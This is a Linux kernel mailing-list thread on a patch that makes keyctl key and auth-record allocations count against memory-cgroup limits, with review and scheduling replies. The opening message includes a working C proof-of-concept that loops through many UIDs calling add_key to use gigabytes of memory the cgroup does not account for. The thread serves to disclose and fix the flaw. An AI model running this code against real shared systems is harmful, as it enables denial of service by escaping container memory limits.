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memcg: enable accounting in keyctl subsys

PATCH In review Yutian Yang 4 participants 6 messages Jul 19, 2021 – Jun 3, 2022

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#0 lore raw

PATCH 1/1 memcg: enable accounting in keyctl subsys

This patch enables accounting for key objects and auth record objects. Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to breaking memcg limits. The PoC program takes around 2.2GB unaccounted memory, while it is charged for only 24MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations including ulimits and sysctl variables are set as default. Specifically, we set kernel.keys.maxbytes = 20000 and kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
int i = 0, times = -1;
__s32 serial = 0;
int err = seteuid(id);
if (err == 0)

    printf("uid allocation success on id %d!\n", id);
  else {
    printf("err reason is %s.\n", strerror(errno));
    return;
  }
  srand(time(0));
  while (serial != -1) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);

}
printf("allocation happened %d times.\n", times); seteuid(0);
}

int main() {
int loop_times = 100000;
int start_uid = 33001;

  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);

}
while(1);
return 0;
}

/*-------------------------- end --------------------------------*/

---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)
security/keys/key.c +2 -2
index e282c6179..925d85c2e 100644
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
security/keys/request_key_auth.c +2 -2
index 41e973500..ed50a100a 100644
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;
Signature · 1 line
2.25.1
Reviewed-by on v1 1/1
#1 lore raw
Quoted 12 lines · Yutian Yang

This patch enables accounting for key objects and auth record objects. Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to breaking memcg limits. The PoC program takes around 2.2GB unaccounted memory, while it is charged for only 24MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations including ulimits and sysctl variables are set as default. Specifically, we set kernel.keys.maxbytes = 20000 and kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

[skipped]

Quoted 1 line

/*-------------------------- end --------------------------------*/

I experimented with "keyctl request2 user debug: X:Y Z" inside the container and found that the problem is still relevant and the proposed patch solves it correctly.

I didn't find any complaints about this patch, could someone explain why it wasn't applied? If no one objects, I'd like to push it.

Quoted 1 line

Thank you,
Vasily Averin

PS. Should I perhaps resend it?

Quoted 44 lines
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)
security/keys/key.c +2 -2
index e282c6179..925d85c2e 100644
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
security/keys/request_key_auth.c +2 -2
index 41e973500..ed50a100a 100644
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;
maintainer Acked-by
#2 lore raw
Quoted 65 lines · Vasily Averin
Quoted 12 lines · Yutian Yang

This patch enables accounting for key objects and auth record objects. Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to breaking memcg limits. The PoC program takes around 2.2GB unaccounted memory, while it is charged for only 24MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations including ulimits and sysctl variables are set as default. Specifically, we set kernel.keys.maxbytes = 20000 and kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

[skipped]

Quoted 1 line

/*-------------------------- end --------------------------------*/

I experimented with "keyctl request2 user debug: X:Y Z" inside the container and found that the problem is still relevant and the proposed patch solves it correctly.

I didn't find any complaints about this patch, could someone explain why it wasn't applied? If no one objects, I'd like to push it.

Quoted 1 line

Thank you,
Vasily Averin

PS. Should I perhaps resend it?

Quoted 34 lines
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)
security/keys/key.c +2 -2
index e282c6179..925d85c2e 100644
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
security/keys/request_key_auth.c +0 -0
index 41e973500..ed50a100a 100644
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
Quoted 11 lines

security/keys/request_key_auth.c struct key *request_key_auth_new(struct key *target, const char *op, · line 180

Quoted 10 lines
security/keys/request_key_auth.c +2 -2
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;

BR, Jarkko

#3 lore raw

Dear Andrew,
could you please pick up this patch too?

Thank you,
Vasily Averin

Quoted 82 lines · Jarkko Sakkinen
Quoted 65 lines · Vasily Averin
Quoted 12 lines · Yutian Yang

This patch enables accounting for key objects and auth record objects. Allocation of the objects are triggerable by syscalls from userspace.

We have written a PoC to show that the missing-charging objects lead to breaking memcg limits. The PoC program takes around 2.2GB unaccounted memory, while it is charged for only 24MB memory usage. We evaluate the PoC on QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations including ulimits and sysctl variables are set as default. Specifically, we set kernel.keys.maxbytes = 20000 and kernel.keys.maxkeys = 200.

/*------------------------- POC code ----------------------------*/

[skipped]

Quoted 1 line

/*-------------------------- end --------------------------------*/

I experimented with "keyctl request2 user debug: X:Y Z" inside the container and found that the problem is still relevant and the proposed patch solves it correctly.

I didn't find any complaints about this patch, could someone explain why it wasn't applied? If no one objects, I'd like to push it.

Quoted 1 line

Thank you,
Vasily Averin

PS. Should I perhaps resend it?

Quoted 34 lines
---
 security/keys/key.c              | 4 ++--
 security/keys/request_key_auth.c | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)
security/keys/key.c +2 -2
index e282c6179..925d85c2e 100644
@@ -279,7 +279,7 @@ struct key *key_alloc(struct key_type *type, const char *desc,
 		goto no_memory_2;
 
 	key->index_key.desc_len = desclen;
-	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);
+	key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL_ACCOUNT);
 	if (!key->index_key.description)
 		goto no_memory_3;
 	key->index_key.type = type;
@@ -1198,7 +1198,7 @@ void __init key_init(void)
 {
 	/* allocate a slab in which we can store keys */
 	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
-			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
+			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
 
 	/* add the special key types */
 	list_add_tail(&key_type_keyring.link, &key_types_list);
security/keys/request_key_auth.c +0 -0
index 41e973500..ed50a100a 100644
@@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
 	kenter("%d,", target->serial);
 
Quoted 11 lines

security/keys/request_key_auth.c struct key *request_key_auth_new(struct key *target, const char *op, · line 180

Quoted 10 lines
security/keys/request_key_auth.c +2 -2
 	/* allocate a auth record */
-	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
+	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
 	if (!rka)
 		goto error;
-	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
+	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
 	if (!rka->callout_info)
 		goto error_free_rka;
 	rka->callout_len = callout_len;

BR, Jarkko

maintainer
#4 lore raw
Quoted 10 lines · On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin…

Dear Andrew,
could you please pick up this patch too?

...

Quoted 1 line
Quoted 1 line

...

Quoted 1 line
Quoted 1 line

PS. Should I perhaps resend it?

Yes, would someone please resend. And please also retest it - the patch is almost a year old.

Quoted 1 line
Quoted 1 line
#5 lore raw
Quoted 7 lines · Andrew Morton
Quoted 5 lines · On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin…

Dear Andrew,
could you please pick up this patch too?

...

Quoted 8 lines
Quoted 5 lines
Quoted 1 line
Quoted 1 line

...

Quoted 1 line
Quoted 1 line

PS. Should I perhaps resend it?

Yes, would someone please resend. And please also retest it - the patch is almost a year old.

Please postpone this patch, I need more time for investigations.

Thank you,
Vasily Averin